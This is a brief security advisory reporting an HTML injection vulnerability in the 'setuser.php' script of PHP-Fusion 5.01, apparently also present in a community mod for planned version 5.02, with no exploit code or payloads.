PHP-Fusion is reportedly affected by a HTML injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'setuser.php' script before using it in dynamically generated content.
This vulnerability is reported to affect PHP-Fusion version 5.01, however the vendor reports that the vulnerability might exist in an alteration that is planned for version 5.02. This alteration was recently released to the PHP-Fusion community as a mod for version 5.01.
